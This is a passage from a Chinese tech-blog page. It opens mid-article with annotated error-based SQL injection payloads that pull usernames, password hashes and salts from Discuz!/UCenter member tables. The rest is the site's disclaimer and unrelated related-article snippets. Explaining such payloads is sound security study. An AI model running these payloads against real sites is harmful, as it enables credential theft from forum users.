    //从 cdb_members 表中选取第一条用户名和密码记录,并将用户名和密码连接在一起,其中 0x27 是单引号(')的十六进制表示。
    
    
  • Array ( [0] => 7 [1] => \ [2] => ) and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from ucenter.uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# )
    //从 ucenter.uc_members 表中获取第一条用户记录,将用户名、密码和盐值连接起来,其中 0x3a 是冒号(:)的十六进制表示。
  •  and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from ucenter.uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'
    //floor(rand(0)*2)):将获取到的用户名、密码和盐值与一个随机数(0或1)组合起来,为了制造唯一性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/737040.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

四川汇聚荣科技有限公司怎么样?

在探讨一家科技公司的综合实力时&#xff0c;我们往往从多个维度进行考量&#xff0c;包括但不限于公司的发展历程、产品与服务的质量、市场表现、技术创新能力以及企业文化。四川汇聚荣科技有限公司作为一家位于中国西部的科技企业&#xff0c;其表现和影响力自然也受到业界和…

卧槽,6。套死你猴子,Tomcat访问html页面显示源码?

卧槽&#xff0c;6。Tomcat访问html页面显示源码&#xff1f; 元凶text/explain //踩坑&#xff01;&#xff01;&#xff01;不能用 servletResponse.setContentType("text/explain&#xff0c;否则访问html会看到源码&#xff0c;而不是渲染页面; charsetUTF-8"…

接口提示信息国际化, 调用LibreTranslate 离线翻译, 国际化支持

文章目录 背景实现方式步骤下载并部署离线翻译服务;前端接入 背景 将接口返回内容进行翻译, 以适配多语言需求; 实现方式 前端拦截接口返回内容, 调用离线翻译服务进行翻译, 翻译之后再进行相应的提示 参考资料: 离线翻译服务: https://github.com/LibreTranslate/LibreTra…

ADD属性驱动架构设计(一)

目录 一、架构设计过程 1.1、架构设计过程 1.1.1、设计目的 1.1.2、质量属性&#xff08;非功能需求&#xff09; 1.1.3、核心功能&#xff08;功能需求&#xff09; 1.1.4、架构关注 1.1.5、约束条件 1.2、基于设计过程 二、什么是ADD? 三、为什么选择ADD? 四、作…

力扣SQL50 超过5名学生的课

Problem: 596. 超过5名学生的课 Code select class from courses group by class having count(distinct student) > 5;

【转型指南】从软件测试到技术多面手

★ 导言 小艺是一位毕业于985的计算机硕士&#xff0c;工作多年&#xff0c;现在某大厂从事软件测试方面的管理工作。目前在工作中游刃有余&#xff0c;但面对技术的飞速变化和职业发展的不确定性&#xff0c;还是难免焦虑&#xff0c;正在积极思考如何进一步提升自己&#xff…

【图文解说】BP神经网络与深度学习CNN的关系

本文来自《老饼讲解-BP神经网络》https://www.bbbdata.com/ 目录 一、BP神经网络网络是什么二、BP神经网络用于图象识别问题1.1.BP神经网络解决图象识别问题1.2.BP神经网络解决图象识别问题的困难 三、从BP到CNN深度学习模型 BP神经网络是一个经典、有效的算法&#xff0c;即使…

【Java】已解决java.lang.FileNotFoundException异常

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例五、注意事项 已解决java.lang.FileNotFoundException异常 在Java编程中&#xff0c;java.lang.FileNotFoundException是一个常见的异常&#xff0c;它通常表示程序试图打开一个不存在的文件、文…

LabVIEW与3D相机开发高精度表面检测系统

使用LabVIEW与3D相机开发一个高精度表面检测系统。该系统能够实时获取三维图像&#xff0c;进行精细的表面分析&#xff0c;广泛应用于工业质量控制、自动化检测和科学研究等领域。通过真实案例&#xff0c;展示开发过程中的关键步骤、挑战及解决方案&#xff0c;确保系统的高性…

python - 变量和字符串

一.变量 变量名就像我们现实社会的名字&#xff0c;把一个值赋值给一个名字时&#xff0c;Ta会存储在内存中&#xff0c;称之为变量&#xff08;variable&#xff09;&#xff0c;在大多数语言中&#xff0c;都把这种行为称为“给变量赋值”或“把值存储在变量中”。 •不过P…

重复文件清理软件怎么用?分享3个删除重复文件的方法!

删除重复文件能够为电脑腾出很大的存储空间&#xff0c;不信&#xff1f;可以试试看哦&#xff01; 电脑使用久了&#xff0c;都会积累大量的文件&#xff0c;这其中难免会出现重复的文件&#xff0c;这些重复文件没有任何作用&#xff0c;而且会占用着电脑的空间&#xff0c;…

react笔记-04redux篇

redux和react-redux笔记&#xff0c;以及项目中如何使用&#xff0c;对redux的封装&#xff0c;让其使用类似于vuex一样方便。 一、redux 1. redux工作流程 流程&#xff1a;创建action > dispatch分发action > 交给store > reducer加工数据返回给store 2. redux的…

【UML用户指南】-21-对基本行为建模-活动图

目录 1、概念 2、组成结构 2.1、动作 2.2、活动节点 2.3、控制流 2.4、分支 2.5、分岔和汇合 2.6、泳道 2.7、对象流 2.8、扩展区域 3、一般用法 3.1、对工作流建模 3.2、对操作建模 一个活动图从本质上说是一个流程图&#xff0c;展现从活动到活动的控制流 活动图…

虚拟现实环境下的远程教育和智能评估系统(十三)

管理/教师端前端工作汇总education-admin&#xff1a; 首先是登录注册页面的展示 管理员 首页 管理员登录后的首页如下图所示 管理员拥有所有的权限 课程管理 1、可以查看、修改、增添、删除课程列表内容 2、可以对课程资源进行操作 3、可以对课程的类别信息进行管理&…

C++基础知识——引用

P. S.&#xff1a;以下代码均在VS2019环境下测试&#xff0c;不代表所有编译器均可通过。 P. S.&#xff1a;测试代码均未展示头文件stdio.h的声明&#xff0c;使用时请自行添加。 博主主页&#xff1a;Yan. yan.                        …

如何用 STM32CubeMX 创建项目并导入 Keil5

一、初始化STM32CubeMX 首先&#xff0c;你需要下载并安装STM32CubeMX软件。这是一个由STMicroelectronics提供的图形化软件配置工具&#xff0c;用于生成初始化代码。 初始化软件后&#xff0c;你将在“File”菜单中选择“New Project”。此时&#xff0c;STM32CubeMX会提示…

AI 大模型企业应用实战(11)-langchain 的Document Loader机制

loader机制让大模型具备实时学习的能力&#xff1a; 0 Loader机制 案例环境准备&#xff1a; import osos.environ["OPENAI_API_KEY"] "sk-javaedge" os.environ["OPENAI_PROXY"] "https://api.chatanywhere.tech"import os from …

项目训练营第二天

项目训练营第二天 用户登录逻辑 1、账户名不少于4位 2、密码不少于8位 3、数据库表中能够查询到账户、密码 4、密码查询时用同样加密脱敏处理手段处理后再和数据库中取出字段进行对比&#xff0c;如果账户名未查询到&#xff0c;直接返回null 5、后端设置相应的脱敏后用户的s…

【IVIF】Equivariant Multi-Modality Image Fusion

2024CVPR Zixiang Zhao团队 分析透彻&#xff0c;方法耳目一新 统一融合架构 1、Motivation Our approach is rooted in the prior knowledge that natural imaging responses are equivariant to certain transformations 我们的方法根植于自然成像响应对于某些变换的等变性…

Go WebSocket入门+千万级别弹幕系统架构设计

Go实现WebSocket&#xff08;千万级别弹幕系统架构设计&#xff09; 1 websocket简介(基于HTTP协议的长连接) 使用WebSocket可以轻松的维持服务器端长连接&#xff0c;其次WebSocket是架构在HTTP协议之上的&#xff0c;并且也可以使用HTTPS方式&#xff0c;因此WebSocket是可靠…